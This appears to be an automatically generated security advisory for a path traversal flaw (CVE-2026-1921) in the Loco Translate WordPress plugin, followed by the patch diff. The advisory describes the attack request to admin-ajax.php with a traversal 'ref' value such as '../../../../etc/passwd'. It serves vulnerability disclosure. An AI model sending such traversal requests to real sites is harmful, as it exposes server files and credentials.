Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 5, 2026

CVE-2026-1921: Loco Translate <= 2.8.2 – Authenticated (Translator+) Path Traversal to Limited File Read via 'ref' Parameter (loco-translate)

CVE ID CVE-2026-1921
Severity Medium (CVSS 4.9)
CWE 22
Vulnerable Version 2.8.2
Patched Version 2.8.3
Disclosed May 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1921: This vulnerability allows authenticated attackers with Translator-level access to read arbitrary .php, .js, .json, and .twig files outside the intended translation directory via path traversal in the Loco Translate plugin for WordPress. The vulnerability exists in versions up to and including 2.8.2 with a CVSS score of 4.9.

The root cause lies in the `findSourceFile()` method within `loco-translate/src/ajax/FsReferenceController.php`. The vulnerable code at lines 112-119 processes user-supplied `ref` paths containing `../` directory traversal sequences without verifying the resolved path stays within the intended bundle or content directory. The `fsReference` AJAX route calls this method, normalizing traversal sequences but lacking a boundary check. The original validation only blocked files named `wp-config.php` (line 114) and checked file extensions (line 124-128), without restricting the directory scope. The patched code at lines 124-128 adds a critical check: `if( ‘wp-config.php’ === $srcfile->basename() || ! ( $srcfile->underContentDirectory() || $srcfile->underWordPressDirectory() ) )` which ensures the resolved file resides within the WordPress content directory or WordPress root directory.

An attacker exploits this by sending an authenticated POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `fsReference`. The attacker crafts a `ref` parameter containing traversal sequences like `../../../../etc/passwd` (but limited to allowed extensions). The attacker must have Translator-level access or higher, which includes the `loco_admin` capability. The AJAX route processes the `ref` parameter through the `findSourceFile()` method, which normalizes path traversal sequences without validating the destination directory. The final file read is restricted to `.php`, `.js`, `.json`, and `.twig` extensions, but this still exposes sensitive files such as plugin source files, theme files, or database configuration files (except `wp-config.php`).

The patch modifies `loco-translate/src/ajax/FsReferenceController.php` by replacing the simple `wp-config.php` basename check with a comprehensive directory scope validation. The vulnerable code previously checked only the basename for `wp-config.php` and allowed access to any file as long as it had an allowed extension and wasn’t named `wp-config.php`. The patch adds `underContentDirectory()` and `underWordPressDirectory()` checks to ensure the resolved file path remains within the intended boundaries. This prevents attackers from accessing files outside the WordPress installation root or content directory, such as system files or files in sibling sites on multisite installations.

The impact is limited file disclosure. An attacker with Translator-level access can read arbitrary `.php`, `.js`, `.json`, and `.twig` files from the server, excluding `wp-config.php`. This could expose sensitive information such as database credentials in configuration files, proprietary business logic in plugin source code, API keys, or secrets stored in JavaScript files. While this does not directly lead to remote code execution, the leaked information can significantly aid further attacks, such as credential theft or understanding application internals for more sophisticated exploits.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/loco-translate/lib/data/locales.php
+++ b/loco-translate/lib/data/locales.php
@@ -2,4 +2,4 @@
 /**
  * Compiled data. Do not edit.
  */
-return ['af'=>[0=>'Afrikaans',1=>'Afrikaans'],'am'=>[0=>'Amharic',1=>'አማርኛ'],'arg'=>[0=>'Aragonese',1=>'Aragonés'],'ar'=>[0=>'Arabic',1=>'العربية'],'ary'=>[0=>'Moroccan Arabic',1=>'العربية المغربية'],'as'=>[0=>'Assamese',1=>'অসমীয়া'],'azb'=>[0=>'South Azerbaijani',1=>'گؤنئی آذربایجان'],'az'=>[0=>'Azerbaijani',1=>'Azərbaycan dili'],'bel'=>[0=>'Belarusian',1=>'Беларуская мова'],'bg_BG'=>[0=>'Bulgarian',1=>'Български'],'bn_BD'=>[0=>'Bengali (Bangladesh)',1=>'বাংলা'],'bo'=>[0=>'Tibetan',1=>'བོད་ཡིག'],'bs_BA'=>[0=>'Bosnian',1=>'Bosanski'],'ca'=>[0=>'Catalan',1=>'Català'],'ceb'=>[0=>'Cebuano',1=>'Cebuano'],'cs_CZ'=>[0=>'Czech',1=>'Čeština'],'cy'=>[0=>'Welsh',1=>'Cymraeg'],'da_DK'=>[0=>'Danish',1=>'Dansk'],'de_AT'=>[0=>'German (Austria)',1=>'Deutsch (Österreich)'],'de_DE'=>[0=>'German',1=>'Deutsch'],'de_DE_formal'=>[0=>'German (Formal)',1=>'Deutsch (Sie)'],'de_CH'=>[0=>'German (Switzerland)',1=>'Deutsch (Schweiz)'],'de_CH_informal'=>[0=>'German (Switzerland, Informal)',1=>'Deutsch (Schweiz, Du)'],'dsb'=>[0=>'Lower Sorbian',1=>'Dolnoserbšćina'],'dzo'=>[0=>'Dzongkha',1=>'རྫོང་ཁ'],'el'=>[0=>'Greek',1=>'Ελληνικά'],'en_CA'=>[0=>'English (Canada)',1=>'English (Canada)'],'en_GB'=>[0=>'English (UK)',1=>'English (UK)'],'en_NZ'=>[0=>'English (New Zealand)',1=>'English (New Zealand)'],'en_AU'=>[0=>'English (Australia)',1=>'English (Australia)'],'en_ZA'=>[0=>'English (South Africa)',1=>'English (South Africa)'],'eo'=>[0=>'Esperanto',1=>'Esperanto'],'es_MX'=>[0=>'Spanish (Mexico)',1=>'Español de México'],'es_CO'=>[0=>'Spanish (Colombia)',1=>'Español de Colombia'],'es_ES'=>[0=>'Spanish (Spain)',1=>'Español'],'es_CR'=>[0=>'Spanish (Costa Rica)',1=>'Español de Costa Rica'],'es_PE'=>[0=>'Spanish (Peru)',1=>'Español de Perú'],'es_VE'=>[0=>'Spanish (Venezuela)',1=>'Español de Venezuela'],'es_EC'=>[0=>'Spanish (Ecuador)',1=>'Español de Ecuador'],'es_DO'=>[0=>'Spanish (Dominican Republic)',1=>'Español de República Dominicana'],'es_UY'=>[0=>'Spanish (Uruguay)',1=>'Español de Uruguay'],'es_PR'=>[0=>'Spanish (Puerto Rico)',1=>'Español de Puerto Rico'],'es_GT'=>[0=>'Spanish (Guatemala)',1=>'Español de Guatemala'],'es_AR'=>[0=>'Spanish (Argentina)',1=>'Español de Argentina'],'es_CL'=>[0=>'Spanish (Chile)',1=>'Español de Chile'],'et'=>[0=>'Estonian',1=>'Eesti'],'eu'=>[0=>'Basque',1=>'Euskara'],'fa_IR'=>[0=>'Persian',1=>'فارسی'],'fa_AF'=>[0=>'Persian (Afghanistan)',1=>'(فارسی (افغانستان'],'fi'=>[0=>'Finnish',1=>'Suomi'],'fr_CA'=>[0=>'French (Canada)',1=>'Français du Canada'],'fr_FR'=>[0=>'French (France)',1=>'Français'],'fr_BE'=>[0=>'French (Belgium)',1=>'Français de Belgique'],'fur'=>[0=>'Friulian',1=>'Friulian'],'fy'=>[0=>'Frisian',1=>'Frysk'],'gd'=>[0=>'Scottish Gaelic',1=>'Gàidhlig'],'gl_ES'=>[0=>'Galician',1=>'Galego'],'gu'=>[0=>'Gujarati',1=>'ગુજરાતી'],'haz'=>[0=>'Hazaragi',1=>'هزاره گی'],'he_IL'=>[0=>'Hebrew',1=>'עִבְרִית'],'hi_IN'=>[0=>'Hindi',1=>'हिन्दी'],'hr'=>[0=>'Croatian',1=>'Hrvatski'],'hsb'=>[0=>'Upper Sorbian',1=>'Hornjoserbšćina'],'hu_HU'=>[0=>'Hungarian',1=>'Magyar'],'hy'=>[0=>'Armenian',1=>'Հայերեն'],'id_ID'=>[0=>'Indonesian',1=>'Bahasa Indonesia'],'is_IS'=>[0=>'Icelandic',1=>'Íslenska'],'it_IT'=>[0=>'Italian',1=>'Italiano'],'ja'=>[0=>'Japanese',1=>'日本語'],'jv_ID'=>[0=>'Javanese',1=>'Basa Jawa'],'ka_GE'=>[0=>'Georgian',1=>'ქართული'],'kab'=>[0=>'Kabyle',1=>'Taqbaylit'],'kk'=>[0=>'Kazakh',1=>'Қазақ тілі'],'km'=>[0=>'Khmer',1=>'ភាសាខ្មែរ'],'kn'=>[0=>'Kannada',1=>'ಕನ್ನಡ'],'ko_KR'=>[0=>'Korean',1=>'한국어'],'ckb'=>[0=>'Kurdish (Sorani)',1=>'كوردی‎'],'kir'=>[0=>'Kyrgyz',1=>'Кыргызча'],'lo'=>[0=>'Lao',1=>'ພາສາລາວ'],'lt_LT'=>[0=>'Lithuanian',1=>'Lietuvių kalba'],'lv'=>[0=>'Latvian',1=>'Latviešu valoda'],'mk_MK'=>[0=>'Macedonian',1=>'Македонски јазик'],'ml_IN'=>[0=>'Malayalam',1=>'മലയാളം'],'mn'=>[0=>'Mongolian',1=>'Монгол'],'mr'=>[0=>'Marathi',1=>'मराठी'],'ms_MY'=>[0=>'Malay',1=>'Bahasa Melayu'],'my_MM'=>[0=>'Myanmar (Burmese)',1=>'ဗမာစာ'],'nb_NO'=>[0=>'Norwegian (Bokmål)',1=>'Norsk bokmål'],'ne_NP'=>[0=>'Nepali',1=>'नेपाली'],'nl_BE'=>[0=>'Dutch (Belgium)',1=>'Nederlands (België)'],'nl_NL'=>[0=>'Dutch',1=>'Nederlands'],'nl_NL_formal'=>[0=>'Dutch (Formal)',1=>'Nederlands (Formeel)'],'nn_NO'=>[0=>'Norwegian (Nynorsk)',1=>'Norsk nynorsk'],'oci'=>[0=>'Occitan',1=>'Occitan'],'pa_IN'=>[0=>'Panjabi (India)',1=>'ਪੰਜਾਬੀ'],'pl_PL'=>[0=>'Polish',1=>'Polski'],'ps'=>[0=>'Pashto',1=>'پښتو'],'pt_BR'=>[0=>'Portuguese (Brazil)',1=>'Português do Brasil'],'pt_AO'=>[0=>'Portuguese (Angola)',1=>'Português de Angola'],'pt_PT'=>[0=>'Portuguese (Portugal)',1=>'Português'],'pt_PT_ao90'=>[0=>'Portuguese (Portugal, AO90)',1=>'Português (AO90)'],'rhg'=>[0=>'Rohingya',1=>'Ruáinga'],'ro_RO'=>[0=>'Romanian',1=>'Română'],'ru_RU'=>[0=>'Russian',1=>'Русский'],'sah'=>[0=>'Sakha',1=>'Сахалыы'],'snd'=>[0=>'Sindhi',1=>'سنڌي'],'si_LK'=>[0=>'Sinhala',1=>'සිංහල'],'sk_SK'=>[0=>'Slovak',1=>'Slovenčina'],'skr'=>[0=>'Saraiki',1=>'سرائیکی'],'sl_SI'=>[0=>'Slovenian',1=>'Slovenščina'],'sq'=>[0=>'Albanian',1=>'Shqip'],'sr_RS'=>[0=>'Serbian',1=>'Српски језик'],'sv_SE'=>[0=>'Swedish',1=>'Svenska'],'sw'=>[0=>'Swahili',1=>'Kiswahili'],'szl'=>[0=>'Silesian',1=>'Ślōnskŏ gŏdka'],'ta_IN'=>[0=>'Tamil',1=>'தமிழ்'],'ta_LK'=>[0=>'Tamil (Sri Lanka)',1=>'தமிழ்'],'te'=>[0=>'Telugu',1=>'తెలుగు'],'th'=>[0=>'Thai',1=>'ไทย'],'tl'=>[0=>'Tagalog',1=>'Tagalog'],'tr_TR'=>[0=>'Turkish',1=>'Türkçe'],'tt_RU'=>[0=>'Tatar',1=>'Татар теле'],'tah'=>[0=>'Tahitian',1=>'Reo Tahiti'],'ug_CN'=>[0=>'Uighur',1=>'ئۇيغۇرچە'],'uk'=>[0=>'Ukrainian',1=>'Українська'],'ur'=>[0=>'Urdu',1=>'اردو'],'uz_UZ'=>[0=>'Uzbek',1=>'O‘zbekcha'],'vi'=>[0=>'Vietnamese',1=>'Tiếng Việt'],'zh_CN'=>[0=>'Chinese (China)',1=>'简体中文'],'zh_TW'=>[0=>'Chinese (Taiwan)',1=>'繁體中文'],'zh_HK'=>[0=>'Chinese (Hong Kong)',1=>'香港中文']];
 No newline at end of file
+return ['af'=>[0=>'Afrikaans',1=>'Afrikaans'],'am'=>[0=>'Amharic',1=>'አማርኛ'],'arg'=>[0=>'Aragonese',1=>'Aragonés'],'ar'=>[0=>'Arabic',1=>'العربية'],'ary'=>[0=>'Moroccan Arabic',1=>'العربية المغربية'],'as'=>[0=>'Assamese',1=>'অসমীয়া'],'azb'=>[0=>'South Azerbaijani',1=>'گؤنئی آذربایجان'],'az'=>[0=>'Azerbaijani',1=>'Azərbaycan dili'],'bel'=>[0=>'Belarusian',1=>'Беларуская мова'],'bg_BG'=>[0=>'Bulgarian',1=>'Български'],'bn_BD'=>[0=>'Bengali (Bangladesh)',1=>'বাংলা'],'bo'=>[0=>'Tibetan',1=>'བོད་ཡིག'],'bs_BA'=>[0=>'Bosnian',1=>'Bosanski'],'ca'=>[0=>'Catalan',1=>'Català'],'ceb'=>[0=>'Cebuano',1=>'Cebuano'],'cs_CZ'=>[0=>'Czech',1=>'Čeština'],'cy'=>[0=>'Welsh',1=>'Cymraeg'],'da_DK'=>[0=>'Danish',1=>'Dansk'],'de_AT'=>[0=>'German (Austria)',1=>'Deutsch (Österreich)'],'de_DE'=>[0=>'German',1=>'Deutsch'],'de_DE_formal'=>[0=>'German (Formal)',1=>'Deutsch (Sie)'],'de_CH'=>[0=>'German (Switzerland)',1=>'Deutsch (Schweiz)'],'de_CH_informal'=>[0=>'German (Switzerland, Informal)',1=>'Deutsch (Schweiz, Du)'],'dsb'=>[0=>'Lower Sorbian',1=>'Dolnoserbšćina'],'dzo'=>[0=>'Dzongkha',1=>'རྫོང་ཁ'],'el'=>[0=>'Greek',1=>'Ελληνικά'],'en_CA'=>[0=>'English (Canada)',1=>'English (Canada)'],'en_GB'=>[0=>'English (UK)',1=>'English (UK)'],'en_NZ'=>[0=>'English (New Zealand)',1=>'English (New Zealand)'],'en_AU'=>[0=>'English (Australia)',1=>'English (Australia)'],'en_ZA'=>[0=>'English (South Africa)',1=>'English (South Africa)'],'eo'=>[0=>'Esperanto',1=>'Esperanto'],'es_MX'=>[0=>'Spanish (Mexico)',1=>'Español de México'],'es_CO'=>[0=>'Spanish (Colombia)',1=>'Español de Colombia'],'es_ES'=>[0=>'Spanish (Spain)',1=>'Español'],'es_CR'=>[0=>'Spanish (Costa Rica)',1=>'Español de Costa Rica'],'es_PE'=>[0=>'Spanish (Peru)',1=>'Español de Perú'],'es_VE'=>[0=>'Spanish (Venezuela)',1=>'Español de Venezuela'],'es_EC'=>[0=>'Spanish (Ecuador)',1=>'Español de Ecuador'],'es_DO'=>[0=>'Spanish (Dominican Republic)',1=>'Español de República Dominicana'],'es_UY'=>[0=>'Spanish (Uruguay)',1=>'Español de Uruguay'],'es_PR'=>[0=>'Spanish (Puerto Rico)',1=>'Español de Puerto Rico'],'es_GT'=>[0=>'Spanish (Guatemala)',1=>'Español de Guatemala'],'es_AR'=>[0=>'Spanish (Argentina)',1=>'Español de Argentina'],'es_CL'=>[0=>'Spanish (Chile)',1=>'Español de Chile'],'et'=>[0=>'Estonian',1=>'Eesti'],'eu'=>[0=>'Basque',1=>'Euskara'],'fa_IR'=>[0=>'Persian',1=>'فارسی'],'fa_AF'=>[0=>'Persian (Afghanistan)',1=>'(فارسی (افغانستان'],'fi'=>[0=>'Finnish',1=>'Suomi'],'fr_CA'=>[0=>'French (Canada)',1=>'Français du Canada'],'fr_FR'=>[0=>'French (France)',1=>'Français'],'fr_BE'=>[0=>'French (Belgium)',1=>'Français de Belgique'],'fur'=>[0=>'Friulian',1=>'Friulian'],'fy'=>[0=>'Frisian',1=>'Frysk'],'gd'=>[0=>'Scottish Gaelic',1=>'Gàidhlig'],'gl_ES'=>[0=>'Galician',1=>'Galego'],'gu'=>[0=>'Gujarati',1=>'ગુજરાતી'],'haz'=>[0=>'Hazaragi',1=>'هزاره گی'],'he_IL'=>[0=>'Hebrew',1=>'עִבְרִית'],'hi_IN'=>[0=>'Hindi',1=>'हिन्दी'],'hr'=>[0=>'Croatian',1=>'Hrvatski'],'hsb'=>[0=>'Upper Sorbian',1=>'Hornjoserbšćina'],'hu_HU'=>[0=>'Hungarian',1=>'Magyar'],'hy'=>[0=>'Armenian',1=>'Հայերեն'],'id_ID'=>[0=>'Indonesian',1=>'Bahasa Indonesia'],'is_IS'=>[0=>'Icelandic',1=>'Íslenska'],'it_IT'=>[0=>'Italian',1=>'Italiano'],'ja'=>[0=>'Japanese',1=>'日本語'],'jv_ID'=>[0=>'Javanese',1=>'Basa Jawa'],'ka_GE'=>[0=>'Georgian',1=>'ქართული'],'kab'=>[0=>'Kabyle',1=>'Taqbaylit'],'kk'=>[0=>'Kazakh',1=>'Қазақ тілі'],'km'=>[0=>'Khmer',1=>'ភាសាខ្មែរ'],'kn'=>[0=>'Kannada',1=>'ಕನ್ನಡ'],'ko_KR'=>[0=>'Korean',1=>'한국어'],'ckb'=>[0=>'Kurdish (Sorani)',1=>'كوردی‎'],'kir'=>[0=>'Kyrgyz',1=>'Кыргызча'],'lo'=>[0=>'Lao',1=>'ພາສາລາວ'],'lt_LT'=>[0=>'Lithuanian',1=>'Lietuvių kalba'],'lv'=>[0=>'Latvian',1=>'Latviešu valoda'],'mk_MK'=>[0=>'Macedonian',1=>'Македонски јазик'],'ml_IN'=>[0=>'Malayalam',1=>'മലയാളം'],'mn'=>[0=>'Mongolian',1=>'Монгол'],'mr'=>[0=>'Marathi',1=>'मराठी'],'ms_MY'=>[0=>'Malay',1=>'Bahasa Melayu'],'my_MM'=>[0=>'Myanmar (Burmese)',1=>'ဗမာစာ'],'nb_NO'=>[0=>'Norwegian (Bokmål)',1=>'Norsk bokmål'],'ne_NP'=>[0=>'Nepali',1=>'नेपाली'],'nl_NL_formal'=>[0=>'Dutch (Formal)',1=>'Nederlands (Formeel)'],'nl_BE'=>[0=>'Dutch (Belgium)',1=>'Nederlands (België)'],'nl_NL'=>[0=>'Dutch',1=>'Nederlands'],'nn_NO'=>[0=>'Norwegian (Nynorsk)',1=>'Norsk nynorsk'],'oci'=>[0=>'Occitan',1=>'Occitan'],'pa_IN'=>[0=>'Panjabi (India)',1=>'ਪੰਜਾਬੀ'],'pl_PL'=>[0=>'Polish',1=>'Polski'],'ps'=>[0=>'Pashto',1=>'پښتو'],'pt_BR'=>[0=>'Portuguese (Brazil)',1=>'Português do Brasil'],'pt_AO'=>[0=>'Portuguese (Angola)',1=>'Português de Angola'],'pt_PT'=>[0=>'Portuguese (Portugal)',1=>'Português'],'pt_PT_ao90'=>[0=>'Portuguese (Portugal, AO90)',1=>'Português (AO90)'],'rhg'=>[0=>'Rohingya',1=>'Ruáinga'],'ro_RO'=>[0=>'Romanian',1=>'Română'],'ru_RU'=>[0=>'Russian',1=>'Русский'],'sah'=>[0=>'Sakha',1=>'Сахалыы'],'snd'=>[0=>'Sindhi',1=>'سنڌي'],'si_LK'=>[0=>'Sinhala',1=>'සිංහල'],'sk_SK'=>[0=>'Slovak',1=>'Slovenčina'],'skr'=>[0=>'Saraiki',1=>'سرائیکی'],'sl_SI'=>[0=>'Slovenian',1=>'Slovenščina'],'sq'=>[0=>'Albanian',1=>'Shqip'],'sr_RS'=>[0=>'Serbian',1=>'Српски језик'],'sv_SE'=>[0=>'Swedish',1=>'Svenska'],'sw'=>[0=>'Swahili',1=>'Kiswahili'],'szl'=>[0=>'Silesian',1=>'Ślōnskŏ gŏdka'],'ta_IN'=>[0=>'Tamil',1=>'தமிழ்'],'ta_LK'=>[0=>'Tamil (Sri Lanka)',1=>'தமிழ்'],'te'=>[0=>'Telugu',1=>'తెలుగు'],'th'=>[0=>'Thai',1=>'ไทย'],'tl'=>[0=>'Tagalog',1=>'Tagalog'],'tr_TR'=>[0=>'Turkish',1=>'Türkçe'],'tt_RU'=>[0=>'Tatar',1=>'Татар теле'],'tah'=>[0=>'Tahitian',1=>'Reo Tahiti'],'ug_CN'=>[0=>'Uighur',1=>'ئۇيغۇرچە'],'uk'=>[0=>'Ukrainian',1=>'Українська'],'ur'=>[0=>'Urdu',1=>'اردو'],'uz_UZ'=>[0=>'Uzbek',1=>'O‘zbekcha'],'vi'=>[0=>'Vietnamese',1=>'Tiếng Việt'],'zh_CN'=>[0=>'Chinese (China)',1=>'简体中文'],'zh_HK'=>[0=>'Chinese (Hong Kong)',1=>'香港中文'],'zh_TW'=>[0=>'Chinese (Taiwan)',1=>'繁體中文']];
 No newline at end of file
--- a/loco-translate/loco.php
+++ b/loco-translate/loco.php
@@ -4,10 +4,10 @@
 Plugin URI: https://wordpress.org/plugins/loco-translate/
 Description: Translate themes and plugins directly in WordPress
 Author: Tim Whitlock
-Version: 2.8.2
+Version: 2.8.3
 Requires at least: 6.6
 Requires PHP: 7.4
-Tested up to: 6.9.1
+Tested up to: 6.9.4
 Author URI: https://localise.biz/wordpress/plugin
 Text Domain: loco-translate
 Domain Path: /languages/
@@ -31,7 +31,7 @@
  * Get version of this plugin
  */
 function loco_plugin_version(): string {
-    return '2.8.2';
+    return '2.8.3';
 }


--- a/loco-translate/src/admin/config/VersionController.php
+++ b/loco-translate/src/admin/config/VersionController.php
@@ -22,6 +22,7 @@
         $title = __('Plugin settings','loco-translate');
         $breadcrumb = new Loco_admin_Navigation;
         $breadcrumb->add( $title );
+        $this->setLocoUpdate('0');

         // current plugin version
         $version = loco_plugin_version();
@@ -40,42 +41,31 @@
             $this->set( 'devel', true );
         }

-
-        // check PHP version, noting that we want to move to minimum version 5.6 as per latest WordPress
+        // check PHP version is at least 7.4
         $phpversion = PHP_VERSION;
         if( version_compare($phpversion,'7.4.0','<') ){
             $this->set('phpupdate','7.4');
         }

-
         // check WordPress version, No plans to increase this until WP bumps their min PHP requirement.
         $wpversion = $GLOBALS['wp_version'];
-        /*if( version_compare($wpversion,'5.2','<') ){
-            $this->setWpUpdate('5.2');
-        }*/
-
         return $this->view('admin/config/version', compact('breadcrumb','version','phpversion','wpversion') );
     }


-    /**
-     * @param string version
-     */
-    private function setLocoUpdate( $version ){
-        $action = 'upgrade-plugin_'.loco_plugin_self();
-        $link = admin_url( 'update.php?action=upgrade-plugin&plugin='.rawurlencode(loco_plugin_self()) );
-        $this->set('update', $version );
-        $this->set('update_href', wp_nonce_url( $link, $action ) );
-    }
-

-    /**
-     * @param string minimum recommended version
-     *
-    private function setWpUpdate( $version ){
-        $this->set('wpupdate',$version);
-        $this->set('wpupdate_href', admin_url('update-core.php') );
-    }*/
+    private function setLocoUpdate( string $version ){
+        if( $version ){
+            $action = 'upgrade-plugin_'.loco_plugin_self();
+            $link = admin_url( 'update.php?action=upgrade-plugin&plugin='.rawurlencode(loco_plugin_self()) );
+            $this->set('update', $version );
+            $this->set('update_href', wp_nonce_url( $link, $action ) );
+        }
+        else {
+            $this->set('update','');
+            $this->set('update_href','');
+        }
+    }


 }
 No newline at end of file
--- a/loco-translate/src/ajax/FsReferenceController.php
+++ b/loco-translate/src/ajax/FsReferenceController.php
@@ -112,9 +112,9 @@
         // find file or fail
         $srcfile = $this->findSourceFile($refpath);

-        // deny access to sensitive files
-        if( 'wp-config.php' === $srcfile->basename() ){
-            throw new InvalidArgumentException('File access disallowed');
+        // Search utility only checks that reference exists, not whether it's actually a file
+        if( $srcfile->isDirectory() ){
+            throw new InvalidArgumentException('File is a directory');
         }

         // validate allowed source file types, including custom aliases
@@ -124,6 +124,11 @@
             throw new InvalidArgumentException('File extension disallowed, '.$ext );
         }

+        // Deny access to files outside wp-content and WordPress root, plus sensitive files in the root
+        if( 'wp-config.php' === $srcfile->basename() || ! ( $srcfile->underContentDirectory() || $srcfile->underWordPressDirectory() ) ){
+            throw new InvalidArgumentException('File access disallowed');
+        }
+
         // source code will be HTML-tokenized into multiple lines
         $code = [];

--- a/loco-translate/src/fs/Locations.php
+++ b/loco-translate/src/fs/Locations.php
@@ -103,7 +103,7 @@
      */
     public static function getThemes(){
         if( ! self::$theme ){
-            $roots = isset($GLOBALS['wp_theme_directories']) ? $GLOBALS['wp_theme_directories'] : [];
+            $roots = $GLOBALS['wp_theme_directories'] ?? [];
             if( ! $roots ){
                 $roots[] = trailingslashit( loco_constant('WP_CONTENT_DIR') ).'themes';
             }
--- a/loco-translate/src/mvc/View.php
+++ b/loco-translate/src/mvc/View.php
@@ -34,7 +34,7 @@
      * Name of current output buffer
      * @var string
      */
-    private $block;
+    private $name;


     /**
@@ -66,7 +66,7 @@
      * Clean up if something abruptly stopped rendering before graceful end
      */
     public function __destruct(){
-        if( $this->block ){
+        if( $this->name ){
             ob_end_clean();
         }
     }
@@ -106,7 +106,7 @@
     private function start( string $name ):void {
         $this->stop();
         $this->scope[$name] = null;
-        $this->block = $name;
+        $this->name = $name;
     }


@@ -117,13 +117,26 @@
     private function stop(){
         $content = ob_get_contents();
         ob_clean();
-        if( $b = $this->block ){
+        if( $b = $this->name ){
             if( isset($this->scope[$b]) ){
                 $content = $this->scope[$b].$content;
             }
             $this->scope[$b] = new _LocoViewBuffer($content);
         }
-        $this->block = '_trash';
+        $this->name = '_trash';
+    }
+
+
+    /**
+     * Output a captured block buffer, as long as it's valid
+     */
+    private function block( string $name ):void {
+        if( $this->has($name) ){
+            $view = $this->get($name);
+            if( $view instanceof _LocoViewBuffer ){
+                echo $view->__toString();
+            }
+        }
     }


@@ -146,8 +159,7 @@


     /**
-     * @param string $prop
-     * @return bool
+     * Test if a view argument exists
      */
     public function has( string $prop ):bool {
         return $this->scope->offsetExists($prop);
@@ -156,7 +168,6 @@

     /**
      * Get property after checking with self::has
-     * @param string $prop
      * @return mixed
      */
     public function get( string $prop ){
@@ -166,10 +177,6 @@

     /**
      * Set a view argument
-     * @param string $prop
-     * @param mixed $value
-     *
-     * @return Loco_mvc_View
      */
     public function set( string $prop, $value ):self {
         $this->scope[$prop] = $value;
@@ -177,6 +184,13 @@
     }


+    /**
+     * Remove a view argument
+     */
+    public function unset( string $prop ):void {
+        $this->scope->offsetUnset($prop);
+    }
+

     /**
      * Main entry to rendering complete template
@@ -185,7 +199,7 @@
      * @param self|null $parent parent view rendering this view
      */
     public function render( string $tpl, ?array $args = null, ?Loco_mvc_View $parent = null ):string {
-        if( $this->block ){
+        if( $this->name ){
             return $this->fork()->render( $tpl, $args, $this );
         }
         $this->setTemplate($tpl);
@@ -213,7 +227,7 @@
         $this->start('_trash');
         $this->execTemplate( $this->template );
         $this->stop();
-        $this->block = null;
+        $this->name = null;
         // decorate via parent view if there is one
         if( $this->parent ){
             $this->parent->scope = clone $this->scope;
@@ -294,9 +308,9 @@
  */
 class _LocoViewBuffer {

-    private $s;
+    private string $s;

-    public function __construct( $s ){
+    public function __construct( string $s ){
         $this->s = $s;
     }

--- a/loco-translate/src/mvc/ViewParams.php
+++ b/loco-translate/src/mvc/ViewParams.php
@@ -65,30 +65,35 @@

     /**
      * @internal
-     * @param string $p property name
      * @return mixed
      */
-    public function __get( $p ){
+    public function __get( string $p ){
         return $this->offsetExists($p) ? $this->offsetGet($p) : null;
     }


     /**
      * Test if a property exists, even if null
-     * @param string $p property name
-     * @return bool
      */
-    public function has( $p ){
+    public function has( string  $p ):bool {
         return $this->offsetExists($p);
     }


     /**
+     * Test if a property exists and is truthy
+     */
+    public function truthy( string $p ):bool {
+        return $this->offsetExists($p) && $this->offsetGet($p);
+    }
+
+
+    /**
      * Print escaped property value
      * @param string $p property key
      * @return string empty string
      */
-    public function e( $p ){
+    public function e( string $p ):string {
         $text = $this->__get($p);
         echo $this->escape( $text );
         return '';
--- a/loco-translate/tpl/admin/bundle/conf.php
+++ b/loco-translate/tpl/admin/bundle/conf.php
@@ -144,6 +144,7 @@
                 <a class="button button-link has-icon icon-cog" href="<?php $parent->e('href')?>"><?php esc_html_e('Parent theme','loco-translate')?></a><?php
                 endif?>
                 <a class="button button-link has-icon icon-download" href="<?php $params->e('xmlUrl')?>"><?php esc_html_e('XML','loco-translate')?></a>
+                <a class="button button-link has-icon icon-help" href="<?php $params->e('manUrl')?>" target="_blank"><?php esc_html_e('Help','loco-translate')?></a>
             </p>
         </footer>

--- a/loco-translate/tpl/admin/bundle/setup.php
+++ b/loco-translate/tpl/admin/bundle/setup.php
@@ -4,8 +4,7 @@
  * See setup/*.php for header definitions
  */
 $this->extend('../layout');
-
-    echo $header;
+$this->block('header');
     /* @var Loco_mvc_ViewParams $params */


--- a/loco-translate/tpl/admin/config/version.php
+++ b/loco-translate/tpl/admin/config/version.php
@@ -3,9 +3,9 @@
  * Plugin version information
  */
 $this->extend('../layout');
-
+    /* @var Loco_mvc_ViewParams $params */
     // Loco Translate version:
-    if( $params->has('update') ):?>
+    if( $params->truthy('update') && $params->truthy('update_href') ):?>
     <div class="panel panel-warning">
         <h3 class="has-icon">
             <?php self::e( __('Version %s','loco-translate'), $version )?>
@@ -14,7 +14,7 @@
             <?php esc_html_e('A newer version of Loco Translate is available for download','loco-translate')?>.
         </p>
         <p class="submit">
-            <a class="button button-primary" href="<?php echo $update_href?>" target="_blank"><?php self::e(__('Upgrade to %s','loco-translate'), 'v'.$update )?></a>
+            <a class="button button-primary" href="<?php echo esc_url($update_href)?>" target="_blank"><?php self::e(__('Upgrade to %s','loco-translate'), 'v'.$update )?></a>
             <a class="button button-link has-icon icon-ext" href="https://wordpress.org/plugins/loco-translate/installation/" target="_blank"><?php esc_html_e('Install manually','loco-translate')?></a>
         </p>
     </div><?php
--- a/loco-translate/tpl/admin/debug/debug-layout.php
+++ b/loco-translate/tpl/admin/debug/debug-layout.php
@@ -14,11 +14,9 @@
     </style>
 <?php

-/* @var Loco_mvc_View $params */
-/* @var string $header */
-$params->has('header') and print $header;
-
+$this->block('header');

+/* @var Loco_mvc_View $params */
 /* @var ArrayIterator|null $log */
 if( $params->has('log') ):?>
     <div class="panel" id="loco-log">
--- a/loco-translate/tpl/admin/file/editor.php
+++ b/loco-translate/tpl/admin/file/editor.php
@@ -3,8 +3,9 @@
  * Editor layout for PO and POT files
  */

+/* @var Loco_mvc_View $this */
 $this->extend('../layout');
-echo $header;
+$this->block('header');

 /* @var Loco_mvc_ViewParams $js */
 /* @var Loco_mvc_ViewParams $ui */
--- a/loco-translate/tpl/admin/file/info.php
+++ b/loco-translate/tpl/admin/file/info.php
@@ -3,7 +3,7 @@
  * File information for any type of file. Extended by specific views for supported types
  */
 $this->extend('../layout');
-echo $header;
+$this->block('header');
 /* @var Loco_mvc_FileParams $file */
 ?>

--- a/loco-translate/tpl/admin/file/view.php
+++ b/loco-translate/tpl/admin/file/view.php
@@ -2,5 +2,6 @@
 /**
  * Source view - displays file in raw form if possible
  */
+/* @var Loco_mvc_View $this */
